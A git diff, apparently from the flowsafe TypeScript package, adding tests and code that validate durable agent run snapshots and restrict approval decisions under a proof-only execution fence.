workflowId: 'actual-agent-loop', + runId: 'd3-agent', + startToken: 'S1', + }); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + 'runtime', + 'thread', + 'agent', + 'input', + 'memory', + 'audit', + ] as const)('R11 refuses present %s contradictions without engine work', async (corruption) => { + const f = await d3AgentObservationFixture(true); + try { + if (corruption === 'agent') + f.snapshot.requestContext[ + 'flowsafe.runProvenance' + ].startIdentity.target.id = 'wrong'; + if (corruption === 'input') + Object.assign(f.snapshot.context, { input: { agentId: 'wrong' } }); + if (corruption === 'memory') + Object.assign(f.snapshot.context, { + input: { agentId: 'writer', messageListState: { memoryInfo: null } }, + }); + if (corruption === 'audit') + Object.assign(f.snapshot.requestContext, { + 'breakwater.auditContext': { threadId: 'wrong' }, + }); + await f.seed(); + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const { RunStateUnreadableError } = await import( + '../do-runner/runtime.js' + ); + const outcome = await f.agent + .authoritativeAgentStartState( + corruption === 'runtime' ? ({} as RunnerRuntime) : f.runtime, + corruption === 'thread' ? 'wrong' : 'thread-1', + 'd3-agent', + ) + .catch((error) => error); + expect(f.counts.model).toBe(0); + if (corruption === 'runtime') expect(read).not.toHaveBeenCalled(); + else expect(read).toHaveBeenCalledOnce(); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it('R11 returns S1 and its selected value when S2 replaces storage after the read', async () => { + const f = await d3AgentObservationFixture(false); + try { + Object.assign(f.snapshot, { + status: 'success', + result: { generation: 'S1' }, + }); + await f.seed(); + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = capability.readSnapshot; + const selected = vi + .spyOn(capability, 'readSnapshot') + .mockImplementation(async (address) => { + const row = await read(address); + f.snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S2'; + Object.assign(f.snapshot, { result: { generation: 'S2' } }); + await f.seed(); + return row; + }); + const state = await f.agent.authoritativeAgentStartState( + f.runtime, + 'thread-1', + 'd3-agent', + ); + expect(state).toMatchObject({ + kind: 'result', + execution: { startToken: 'S1' }, + summary: { status: 'success', result: { generation: 'S1' } }, + }); + expect(selected).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + false, + true, + ])('R13 rejects the agent persistence waiter when mode %s only persists pending after engine completion', async (threaded) => { + const f = await cRealBridge(undefined, undefined, threaded); + const runId = `agent-pending-${threaded}`; + const streams: Array>> = []; + const stream = f.agent.stream.bind(f.agent); + vi.spyOn(f.agent, 'stream').mockImplementation(async (...args) => { + const value = await stream(...args); + streams.push(value); + return value; + }); + try { + const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows); + vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation( + (input) => + persist( + input.snapshot.status === 'pending' + ? input + : { + ...input, + snapshot: { ...input.snapshot, status: 'pending' as const }, + }, + ), + ); + const authority = { ...startAuthority(), agentStart: { threaded } }; + const result = await f.agent + .streamUntilPersisted( + 'Return done.', + { + runId, + maxSteps: 1, + disableBackgroundTasks: true, + ...(threaded + ? { memory: { thread: 'thread-1', resource: 'thread-1' } } + : {}), + }, + 'operator-1', + 'human', + 'H', + undefined, + undefined, + authority, + ) + .catch((error) => error); + const row = await f.workflows.loadWorkflowSnapshot({ + workflowName: f.agent.getWorkflow().id, + runId, + }); + expect(row?.status).toBe('pending'); + expect(f.counts.model).toBe(1); + const { RunStartPendingError } = await import( + '../do-runner/execution-admission.js' + ); + expect(result).toBeInstanceOf(RunStartPendingError); + } finally { + await globalRunRegistry + .get(runId) + ?.workflowExecution?.catch(() => undefined); + for (const value of streams) value.cleanup(); + globalRunRegistry.delete(runId); + f.start.mockRestore(); + f.sql.close(); + } + }); +}); + +async function d3LegacyAgentFixture( + version: 'v1' | 'absent', + threaded: boolean, +) { + const f = await d3AgentObservationFixture(threaded, true); + const snapshot = structuredClone( + f.snapshot, + ) as unknown as import('@mastra/core/workflows').WorkflowRunState; + snapshot.status = 'success'; + snapshot.result = { legacy: true }; + snapshot.context.input = { + agentId: 'writer', + runId: 'd3-agent', + messageListState: { + memoryInfo: threaded + ? { threadId: 'thread-1', resourceId: 'thread-1' } + : null, + }, + }; + snapshot.requestContext = { + runId: 'd3-agent', + threadId: 'thread-1', + resourceId: 'thread-1', + 'breakwater.auditContext': { + agentId: 'writer', + threadId: 'thread-1', + resourceId: 'thread-1', + }, + }; + if (version === 'v1') + snapshot.requestContext['flowsafe.runProvenance'] = { + version: 1, + attemptToken: 'legacy-H', + requestedBy: 'current-reviewer', + requestedByKind: 'service', + resumeCounts: [], + }; + const seed = () => + f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-agent', + snapshot, + }); + await seed(); + return { ...f, snapshot, seed }; +} + +describe('FS8 D3 fix R1 legacy agent observations', () => { + it.each( + (['v1', 'absent'] as const).flatMap((version) => + [false, true].map((threaded) => ({ version, threaded })), + ), + )('reads $version mode $threaded from the actual wrapper source once without generation authority', async ({ + version, + threaded, + }) => { + const f = await d3LegacyAgentFixture(version, threaded); + try { + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const ordinary = vi.spyOn(f.workflows, 'loadWorkflowSnapshot'); + const pending = f.agent.authoritativeAgentStartState( + f.runtime, + 'thread-1', + 'd3-agent', + { includeLegacy: true }, + ); + await expect(pending).resolves.toMatchObject({ + kind: 'legacy', + provenanceVersion: version === 'v1' ? 1 : undefined, + address: { + tablePrefix: '', + workflowId: 'actual-agent-loop', + runId: 'd3-agent', + }, + threaded, + summary: { status: 'success', result: { legacy: true } }, + }); + const result = await pending; + expect(result).not.toHaveProperty('execution'); + expect(read).toHaveBeenCalledOnce(); + expect(ordinary).not.toHaveBeenCalled(); + expect(f.counts.model).toBe(0); + if (version === 'v1') + expect(result?.summary).toMatchObject({ + requestedBy: 'current-reviewer', + requestedByKind: 'service', + }); + await expect( + f.agent.authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent'), + ).rejects.toBeInstanceOf(RunStateUnreadableError); + await expect( + f.agent.proofExecutionFor(f.runtime, 'thread-1', 'd3-agent'), + ).rejects.toBeInstanceOf(RunStateUnreadableError); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + 'input-agent', + 'input-run', + 'context-run', + 'context-thread', + 'context-resource', + 'audit-agent', + 'audit-thread', + 'audit-resource', + 'memory-thread', + 'missing-input', + ] as const)('rejects legacy %s contradictions in its one selected snapshot', async (field) => { + const f = await d3LegacyAgentFixture('v1', true); + try { + const context = f.snapshot.requestContext; + assert(context); + const input = f.snapshot.context.input as unknown as { + agentId: string; + runId: string; + messageListState: { + memoryInfo: { threadId: string; resourceId: string }; + }; + }; + if (field === 'input-agent') input.agentId = 'wrong'; + else if (field === 'input-run') input.runId = 'wrong'; + else if (field === 'context-run') context.runId = 'wrong'; + else if (field === 'context-thread') context.threadId = 'wrong'; + else if (field === 'context-resource') context.resourceId = 'wrong'; + else if (field === 'audit-agent') + context['breakwater.auditContext'].agentId = 'wrong'; + else if (field === 'audit-thread') + context['breakwater.auditContext'].threadId = 'wrong'; + else if (field === 'audit-resource') + context['breakwater.auditContext'].resourceId = 'wrong'; + else if (field === 'memory-thread') + input.messageListState.memoryInfo.threadId = 'wrong'; + else delete f.snapshot.context.input; + await f.seed(); + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const result = await f.agent + .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent', { + includeLegacy: true, + }) + .catch((error) => error); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it('captures the legacy option and keeps the selected S1-era value when storage advances during a read', async () => { + const f = await d3LegacyAgentFixture('v1', false), + entered = bridgeDeferred(), + release = bridgeDeferred(); + let pending: Promise | undefined; + try { + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const native = capability.readSnapshot; + const read = vi + .spyOn(capability, 'readSnapshot') + .mockImplementation(async (address) => { + const row = await native(address); + entered.resolve(); + await release.promise; + return row; + }); + const options = { includeLegacy: true as const }; + pending = f.agent + .authoritativeAgentStartState( + f.runtime, + 'thread-1', + 'd3-agent', + options, + ) + .catch((error) => error); + await entered.promise; + Object.assign(options, { includeLegacy: false }); + f.snapshot.result = { replacement: true }; + await f.seed(); + release.resolve(); + const result = await pending; + expect(result).toMatchObject({ + kind: 'legacy', + summary: { result: { legacy: true } }, + }); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + } finally { + release.resolve(); + await pending; + f.start.mockRestore(); + f.sql.close(); + } + }); + + it('rejects a different expected Runtime before legacy source I/O', async () => { + const f = await d3LegacyAgentFixture('absent', false); + try { + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const result = await f.agent + .authoritativeAgentStartState( + {} as RunnerRuntime, + 'thread-1', + 'd3-agent', + { includeLegacy: true }, + ) + .catch((error) => error); + expect(read).not.toHaveBeenCalled(); + expect(f.counts.model).toBe(0); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it('does not fall back to another snapshot when the selected legacy-capable read fails', async () => { + const f = await d3LegacyAgentFixture('v1', false); + try { + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi + .spyOn(capability, 'readSnapshot') + .mockRejectedValue(new Error('source failed')); + const ordinary = vi.spyOn(f.workflows, 'loadWorkflowSnapshot'); + const result = await f.agent + .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent', { + includeLegacy: true, + }) + .catch((error) => error); + expect(read).toHaveBeenCalledOnce(); + expect(ordinary).not.toHaveBeenCalled(); + expect(f.counts.model).toBe(0); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it('keeps its default strict even if a Runtime override returns a legacy arm without opt-in', async () => { + const f = await d3LegacyAgentFixture('v1', false); + try { + const legacy = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-agent', + { includeLegacy: true }, + ); + assert(legacy?.kind === 'legacy'); + const read = vi + .spyOn(f.runtime, 'authoritativeStartState') + .mockResolvedValue(legacy as never); + const result = await f.agent + .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent') + .catch((error) => error); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it('retains strict wrapper inference and exposes no execution identity on the legacy type', () => { + expectTypeOf< + ReturnType + >().toEqualTypeOf>(); + expectTypeOf< + Parameters + >().toEqualTypeOf<[RunnerRuntime, string, string]>(); + const readLegacy = (agent: FlowsafeDurableAgent, runtime: RunnerRuntime) => + agent.authoritativeAgentStartState(runtime, 'thread', 'run', { + includeLegacy: true, + }); + expectTypeOf(readLegacy).returns.toEqualTypeOf< + Promise + >(); + expectTypeOf< + Extract< + keyof LegacyAgentRunState, + 'execution' | 'startToken' | 'attemptToken' + > + >().toEqualTypeOf(); + }); +}); diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts index f78ea943..ec41271a 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts @@ -253,20 +253,45 @@ import { isExecutionPrincipalKind, } from '../approval-api/principal.js'; import { + type D1RunExecutionIdentity, normalizeMutationEpoch, normalizeStartIdentity, type RunExecutionIdentity, + type StartExecutionIdentity, type StartIdentity, } from '../do-runner/execution-admission.js'; import { InvalidRunRequestError, isPathSafeId, - type RunnerRuntime, - type RunSummary, - type StartRunOptions, + RunStateUnreadableError, } from '../do-runner/index.js'; +import { resourceIdFromKey } from '../do-runner/memory-id.js'; +import type { + AuthoritativeStartState, + LegacyRunState, + RunnerRuntime, + RunSummary, + StartRunOptions, +} from '../do-runner/runtime.js'; +import { + captureReservation, + type StartReservationReading, +} from '../do-runner/start-reservation-contract.js'; + +/** @internal One owned snapshot observation; pending never carries a summary. */ +export type AuthoritativeAgentStartState = AuthoritativeStartState & { + readonly execution: StartExecutionIdentity; + readonly threaded: boolean; +}; + +/** @internal Selected ordinary agent data without generation authority. */ +export type LegacyAgentRunState = LegacyRunState & { + readonly threaded: boolean; +}; +/** @internal Host-owned start authority captured before streaming. */ export interface AgentStartAuthority { + readonly startReservation?: StartReservationReading; readonly mutationEpoch?: number; readonly startIdentity: StartIdentity & { readonly target: { @@ -323,6 +348,7 @@ function captureAgentStartAuthority( agentStart: rawAgentStart, onPreparedStartIdentity, runOwnerGuard: rawGuard, + startReservation: rawReservation, } = source; if ( rawIdentity === undefined || @@ -331,6 +357,10 @@ function captureAgentStartAuthority( ) { throw new InvalidRunRequestError('agent start authority is incomplete'); } + const startReservation = + rawReservation === undefined + ? undefined + : captureReservation(rawReservation, 'started'); const mutationEpoch = normalizeMutationEpoch(rawEpoch); const identity = normalizeStartIdentity(rawIdentity); if (identity.target.kind !== 'agent') { @@ -402,6 +432,7 @@ function captureAgentStartAuthority( agentStart: Object.freeze({ threaded }), onPreparedStartIdentity, runOwnerGuard, + startReservation, }); } @@ -767,18 +798,23 @@ export class FlowsafeDurableAgent< * consumption make that exemption unavailable to callers. */ #assertRunIdNotLive(runId: string): void { - if ( - this.#startRequesters.has(runId) || - this.#persistenceWaiters.has(runId) || - globalRunRegistry.has(runId) || - this.runRegistryInternal.has(runId) - ) { + if (this.isRunLive(runId)) { throw new InvalidRunRequestError( 'run id is live in the run registry — a registered run cannot be re-entered', ); } } + /** @internal */ + isRunLive(runId: string): boolean { + return ( + this.#startRequesters.has(runId) || + this.#persistenceWaiters.has(runId) || + globalRunRegistry.has(runId) || + this.runRegistryInternal.has(runId) + ); + } + #assertGuardedStructuredOutput(options: unknown): void { if ( this.#isBreakwaterGuardedAgent && @@ -1623,6 +1659,163 @@ export class FlowsafeDurableAgent< } } + /** @internal Include validated legacy agent data for ordinary host operations. */ + authoritativeAgentStartState( + expectedRuntime: RunnerRuntime, + threadId: string, + runId: string, + options: { readonly includeLegacy: true }, + ): Promise; + /** @internal Select the actual private Runtime/workflow and immutable agent owner once. */ + authoritativeAgentStartState( + expectedRuntime: RunnerRuntime, + threadId: string, + runId: string, + ): Promise; + async authoritativeAgentStartState( + expectedRuntime: RunnerRuntime, + threadId: string, + runId: string, + options?: { readonly includeLegacy: true }, + ): Promise { + const includeLegacy = options?.includeLegacy === true; + const runtime = this.#runtime; + const workflowId = this.getWorkflow().id; + const agentId = this.#wrappedAgent.id; + try { + if ( + expectedRuntime !== runtime || + !isPathSafeId(threadId) || + !isPathSafeId(runId) + ) + throw new Error('agent observation selector is invalid'); + const resourceId = resourceIdFromKey(threadId); + const state = includeLegacy + ? await runtime.authoritativeStartState(workflowId, runId, { + includeLegacy: true, + }) + : await runtime.authoritativeStartState(workflowId, runId); + if (state === null) return null; + if (state.kind === 'legacy') { + if (!includeLegacy) + throw new Error('legacy agent observation requires explicit opt-in'); + const context = state.snapshot.requestContext; + const input = state.snapshot.context?.input as + | { + agentId?: unknown; + runId?: unknown; + messageListState?: { + memoryInfo?: { + threadId?: unknown; + resourceId?: unknown; + } | null; + }; + } + | undefined; + const correlation = context?.['breakwater.auditContext'] as + | Record + | undefined; + const memory = input?.messageListState?.memoryInfo; + if ( + state.address.workflowId !== workflowId || + state.address.runId !== runId || + input?.agentId !== agentId || + (input.runId !== undefined && input.runId !== runId) || + context?.runId !== runId || + context.threadId !== threadId || + context.resourceId !== resourceId || + correlation?.agentId !== agentId || + correlation.threadId !== threadId || + correlation.resourceId !== resourceId || + (memory !== null && + (memory?.threadId !== threadId || memory.resourceId !== resourceId)) + ) + throw new Error('legacy agent observation contradicts its selectors'); + return { ...state, threaded: memory !== null }; + } + const identity = state.provenance.startIdentity; + const threaded = state.provenance.agentStart?.threaded; + if ( + identity?.target.kind !== 'agent' || + identity.target.id !== agentId || + identity.target.threadId !== threadId || + typeof threaded !== 'boolean' || + state.execution.workflowId !== workflowId || + state.execution.runId !== runId + ) + throw new Error('agent observation identity disagrees with selector'); + const context = state.snapshot.requestContext; + const record = (value: unknown): Record => { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error('agent observation context is malformed'); + return value as Record; + }; + const check = (value: unknown, selectors: Record) => { + if (value === undefined) return; + const values = record(value); + for (const [key, expected] of Object.entries(selectors)) + if (Object.hasOwn(values, key) && values[key] !== expected) + throw new Error('agent observation context contradicts identity'); + }; + check(context, { runId, threadId, resourceId }); + check(context?.['breakwater.auditContext'], { + agentId, + threadId, + resourceId, + }); + const input = state.snapshot.context?.input; + if (input !== undefined) { + check(input, { agentId, runId }); + const messageList = record(input).messageListState; + if (messageList !== undefined) { + const values = record(messageList); + if (Object.hasOwn(values, 'memoryInfo')) { + const memory = values.memoryInfo; + if (memory === null) { + if (threaded) throw new Error('agent mode contradicts memory'); + } else { + const selected = record(memory); + if ( + !threaded || + selected.threadId !== threadId || + selected.resourceId !== resourceId + ) + throw new Error('agent mode contradicts memory'); + } + } + } + } + return { + ...state, + execution: { ...state.execution, ...identity }, + threaded, + } as AuthoritativeAgentStartState; + } catch (cause) { + if (cause instanceof RunStateUnreadableError) throw cause; + throw new RunStateUnreadableError(workflowId, runId, { cause }); + } + } + + /** @internal Initial identity can correlate proof without granting replay success. */ + async proofExecutionFor( + expectedRuntime: RunnerRuntime, + threadId: string, + runId: string, + ): Promise { + const state = await this.authoritativeAgentStartState( + expectedRuntime, + threadId, + runId, + ); + if (state?.storage !== 'd1') return undefined; + return { + tablePrefix: state.execution.tablePrefix, + workflowId: state.execution.workflowId, + runId: state.execution.runId, + startToken: state.execution.startToken, + }; + } + /** * Drive the durable-agentic-loop through RunnerRuntime instead of the base * `createRun + run.start`. stream()/generate() have already parked the @@ -1709,6 +1902,7 @@ export class FlowsafeDurableAgent< agentStart: authority.agentStart, onPreparedStartIdentity: authority.onPreparedStartIdentity, runOwnerGuard: authority.runOwnerGuard, + startReservation: authority.startReservation, }); waiter?.resolve(); } catch (error) { diff --git a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts index 63401433..0e969486 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts @@ -821,6 +821,9 @@ describe('FlowsafeDurableAgent prototype surface inventory', () => { // FlowSafe's own members, which core has no say in. 'constructor', 'resumeViaRuntime', + 'authoritativeAgentStartState', + 'isRunLive', + 'proofExecutionFor', 'streamUntilPersisted', ].sort(); diff --git a/packages/flowsafe/src/approval-api/service.test.ts b/packages/flowsafe/src/approval-api/service.test.ts index 36def4fb..7eb5adbe 100644 --- a/packages/flowsafe/src/approval-api/service.test.ts +++ b/packages/flowsafe/src/approval-api/service.test.ts @@ -8,7 +8,6 @@ import { type ExecutionFenceState, ExecutionFenceStore, } from '../do-runner/index.js'; - import type { ApprovalActor, ApprovalAuditEvent, @@ -17,6 +16,7 @@ import type { ApprovalStreamEvent, ApprovalStreamSink, } from './contract.js'; +import type { ApprovalDatabase } from './d1-store.js'; import { type AutomatedExecutionPrincipal, trustAutomationPrincipal, @@ -31,7 +31,10 @@ import { UnknownApprovalError, } from './service.js'; import type { ApprovalStore, InMemoryApprovalStore } from './store.js'; -import { InMemoryApprovalStoreFactory } from './store-factory.js'; +import { + D1ApprovalStoreFactory, + InMemoryApprovalStoreFactory, +} from './store-factory.js'; import { type ApprovalRecord, type CreateApprovalInput, @@ -2555,7 +2558,7 @@ describe('ApprovalService.decide and the deployment execution fence', () => { ]); }); - it('decides only for the nominated proof run under proof-only', async () => { + it('refuses legacy run-only proof metadata without committing decisions', async () => { // #given — a proof state bound to one run. const fence = await fenceAt('migration-locked'); await fence.transition({ @@ -2582,12 +2585,134 @@ describe('ApprovalService.decide and the deployment execution fence', () => { // #and — the proof run's gate is decided, which is what makes the proof // able to reach a suspension and come back. - const decided = await harness.service.decide( - proof.id, - { decision: 'approve' }, - REVIEWER, + const result = await harness.service + .decide(proof.id, { decision: 'approve' }, REVIEWER) + .catch((error) => error); + expect((await harness.store.get(proof.id))?.status).toBe('pending'); + expect(resumeRun).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFencedError); + }); +}); + +describe('FS8 D3 proof activation approval decisions', () => { + async function modern(prefix: string | undefined) { + const sqlite = openSqlite(); + const db = sqliteUnitDatabase(sqlite) as ApprovalDatabase; + const fence = new ExecutionFenceStore(db); + await fence.seed('migration-locked'); + await fence.transition({ + expected: 'migration-locked', + next: 'proof-only', + proofKey: 'proof', + }); + sqlite.exec( + "UPDATE flowsafe_execution_fence SET proof_run_id = 'acme_run-1', proof_table_prefix = 'proof_', proof_workflow_id = 'wf', proof_start_token = 'generation'", ); - expect(decided.record.status).toBe('approved'); - expect(resumeRun).toHaveBeenCalledTimes(1); + sqlite.exec( + 'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT, PRIMARY KEY (workflow_name,run_id))', + ); + const snapshot = { + runId: 'acme_run-1', + status: 'suspended', + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: 'generation', + attemptToken: 'attempt', + resumeCounts: [], + }, + }, + }; + const write = () => + sqlite + .prepare( + 'INSERT OR REPLACE INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)', + ) + .run( + 'wf', + 'acme_run-1', + null, + JSON.stringify(snapshot), + 'created', + 'updated', + ); + write(); + const store = new D1ApprovalStoreFactory(db, { + workflowSnapshotTable: 'proof_mastra_workflow_snapshot', + }).store(); + const resumeRun = vi.fn(async () => undefined); + const service = new ApprovalService({ + store, + executionFence: fence, + workflowTablePrefix: prefix, + resumeRun, + }); + const { record } = await service.create( + input({ stepPath: ['approval'] }), + OPERATOR, + ); + return { + sqlite, + store, + fence, + service, + record, + resumeRun, + snapshot, + write, + }; + } + + it('requires an explicit trusted prefix and canonicalizes a supplied namespace', async () => { + for (const prefix of [undefined, 'PROOF_']) { + const h = await modern(prefix); + const result = await h.service + .decide(h.record.id, { decision: 'approve' }, REVIEWER) + .catch((error) => error); + expect((await h.store.get(h.record.id))?.status).toBe( + prefix === undefined ? 'pending' : 'approved', + ); + expect(h.resumeRun).toHaveBeenCalledTimes(prefix === undefined ? 0 : 1); + if (prefix === undefined) + expect(result).toBeInstanceOf(ExecutionFencedError); + else expect(result).toMatchObject({ record: { status: 'approved' } }); + } + }); + + it.each([ + 'sod-record', + 'approved-history', + ] as const)('retains the originally admitted generation through the %s await', async (boundary) => { + const h = await modern('proof_'); + const replace = () => { + h.snapshot.requestContext['flowsafe.runProvenance'].startToken = + 'replacement'; + h.write(); + h.sqlite.exec( + "UPDATE flowsafe_execution_fence SET proof_start_token = 'replacement'", + ); + }; + if (boundary === 'sod-record') { + const get = h.store.get.bind(h.store); + let reads = 0; + h.store.get = async (id) => { + const result = await get(id); + if (++reads === 2) replace(); + return result; + }; + } else { + const list = h.store.list.bind(h.store); + h.store.list = async (filter) => { + const result = await list(filter); + replace(); + return result; + }; + } + const result = await h.service + .decide(h.record.id, { decision: 'approve' }, REVIEWER) + .catch((error) => error); + expect((await h.store.get(h.record.id))?.status).toBe('pending'); + expect(h.resumeRun).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFencedError); }); }); diff --git a/packages/flowsafe/src/approval-api/service.ts b/packages/flowsafe/src/approval-api/service.ts index b5383c55..66332c35 100644 --- a/packages/flowsafe/src/approval-api/service.ts +++ b/packages/flowsafe/src/approval-api/service.ts @@ -8,6 +8,7 @@ // (grants.ts) derives requestContext grants from approved records at // start/resume. Nothing here ever reads capability data from client input. +import type { D1RunExecutionIdentity } from '../do-runner/execution-admission.js'; import { admitsExistingRun, ExecutionFencedError, @@ -15,6 +16,7 @@ import { readExecutionFence, } from '../do-runner/execution-fence.js'; import { isPathSafeId } from '../do-runner/path-safe-id.js'; +import { validateTablePrefix } from '../do-runner/table-prefix.js'; import type { ApprovalActor, ApprovalAuditSink, @@ -192,6 +194,7 @@ export interface ApprovalServiceOptions { * someone made rather than one they missed. See ExecutionFenceWiring. */ executionFence: ExecutionFenceWiring; + workflowTablePrefix?: string; /** Injectable clock (tests, deterministic SLA math). */ now?: () => Date; } @@ -220,6 +223,7 @@ export class ApprovalService { ) => Promise; readonly #allowSelfDecision?: SelfDecisionPolicy; readonly #executionFence: ExecutionFenceWiring; + readonly #workflowTablePrefix?: string; readonly #now: () => Date; constructor(options: ApprovalServiceOptions) { @@ -231,6 +235,10 @@ export class ApprovalService { this.#resumeRun = options.resumeRun; this.#allowSelfDecision = options.allowSelfDecision; this.#executionFence = options.executionFence; + this.#workflowTablePrefix = validateTablePrefix( + options.workflowTablePrefix, + 'workflowTablePrefix', + )?.toLowerCase(); this.#now = options.now ?? (() => new Date()); } @@ -467,16 +475,49 @@ export class ApprovalService { * definition of what "no fence" does, so the opt-out cannot be a ternary this * gate gets subtly wrong. */ - async #assertDecidable(id: string): Promise { - const reading = await readExecutionFence(this.#executionFence); + async #assertDecidable( + id: string, + ): Promise { + const fence = this.#executionFence; + const reading = await readExecutionFence(fence); if (reading.state === 'open' || reading.state === 'draining') return; - const runId = - reading.state === 'proof-only' - ? (await this.#store.get(id))?.runId - : undefined; - if (!admitsExistingRun(reading, runId)) { - throw new ExecutionFencedError(reading.state, 'approval decision'); + if ( + reading.state === 'proof-only' && + fence !== 'none' && + this.#workflowTablePrefix !== undefined + ) { + const record = await this.#store.get(id); + if (record !== null && record !== undefined) { + const { workflowId, runId } = record; + const execution = await fence.readCurrentRunExecution({ + tablePrefix: this.#workflowTablePrefix, + workflowId, + runId, + }); + if (execution !== undefined && admitsExistingRun(reading, execution)) + return execution; + } } + throw new ExecutionFencedError(reading.state, 'approval decision'); + } + + async #assertRetainedDecidable( + execution: D1RunExecutionIdentity | undefined, + ): Promise { + if (execution === undefined) return; + const fence = this.#executionFence; + if (fence === 'none') + throw new ExecutionFencedError('proof-only', 'approval decision'); + const reading = await fence.read(); + const current = await fence.readCurrentRunExecution(execution); + if ( + !admitsExistingRun( + { state: 'proof-only', proofExecution: execution }, + current, + ) || + !admitsExistingRun(reading, execution) + ) + throw new ExecutionFencedError(reading.state, 'approval decision'); } async decide( @@ -491,7 +532,7 @@ export class ApprovalService { `approval:${id}`, ); this.#assertDecisionInput(input); - await this.#assertDecidable(id); + const admitted = await this.#assertDecidable(id); // Role-scoped SoD: an exempt decider (allowSelfDecision: true, or a role // named in { roles }) skips the pre-read entirely; everyone else keeps // today's read-then-CAS self-request denial. @@ -591,6 +632,7 @@ export class ApprovalService { updatedAt: now, }; if (input.comment !== undefined) patch.comment = input.comment; + await this.#assertRetainedDecidable(admitted); const updated = await this.#transitionOrExplain(id, 'decide', authorized, { from: OPEN_STATUSES, patch, diff --git a/packages/flowsafe/src/do-runner/durable-object.test.ts b/packages/flowsafe/src/do-runner/durable-object.test.ts index b003d5d4..0bd9e7b1 100644 --- a/packages/flowsafe/src/do-runner/durable-object.test.ts +++ b/packages/flowsafe/src/do-runner/durable-object.test.ts @@ -1,9 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 import type { DurableObjectState } from '@cloudflare/workers-types'; -import { InMemoryStore, type MastraCompositeStore } from '@mastra/core/storage'; +import type { MastraCompositeStore } from '@mastra/core/storage'; import type { DefaultEngineType, ExecuteFunction, + WorkflowRunState, } from '@mastra/core/workflows'; import { describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; @@ -15,10 +16,12 @@ import { import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { ApprovalService, + D1ResourceOwnershipStore, type ExecutionPrincipal, encodeExecutionPrincipal, InMemoryApprovalStore, InMemoryResourceOwnershipStore, + type ResourceOwnershipDatabase, } from '../approval-api/index.js'; import { reconcileApprovalsForSummary } from '../host-kit/approval-bridge.js'; import { @@ -56,7 +59,6 @@ import { type RunSummary, } from './runtime.js'; import type { ScheduleSourceStore } from './schedule-source.js'; -import type { StartIdempotencyDatabase } from './start-idempotency.js'; import { StartIdempotencyStore } from './start-idempotency.js'; import { isSuspensionTimeoutResumeData, @@ -71,8 +73,27 @@ import { type SuspensionDeadlineRecord, } from './suspension-deadline.js'; +const testStorageDatabases = new WeakMap< + MastraCompositeStore, + ExecutionFenceDatabase & ResourceOwnershipDatabase +>(); +function testStorage(): MastraCompositeStore { + const binding = deploymentIdentityDatabase() as ExecutionFenceDatabase & + ResourceOwnershipDatabase; + const storage = createD1Storage({ binding }); + testStorageDatabases.set(storage, binding); + return storage; +} +function testDatabase( + storage: MastraCompositeStore, +): ExecutionFenceDatabase & ResourceOwnershipDatabase { + const binding = testStorageDatabases.get(storage); + if (!binding) throw new Error('test storage database was not registered'); + return binding; +} + interface TestEnv extends DeploymentIdentityEnv { - storage: InMemoryStore; + storage: MastraCompositeStore; runtime?: RunnerRuntime; /** * The deployment execution fence the built runtime is wired to. Always @@ -98,10 +119,12 @@ interface OwnerHooks { } function makeProductionEnv( - storage = new InMemoryStore(), + storage = testStorage(), 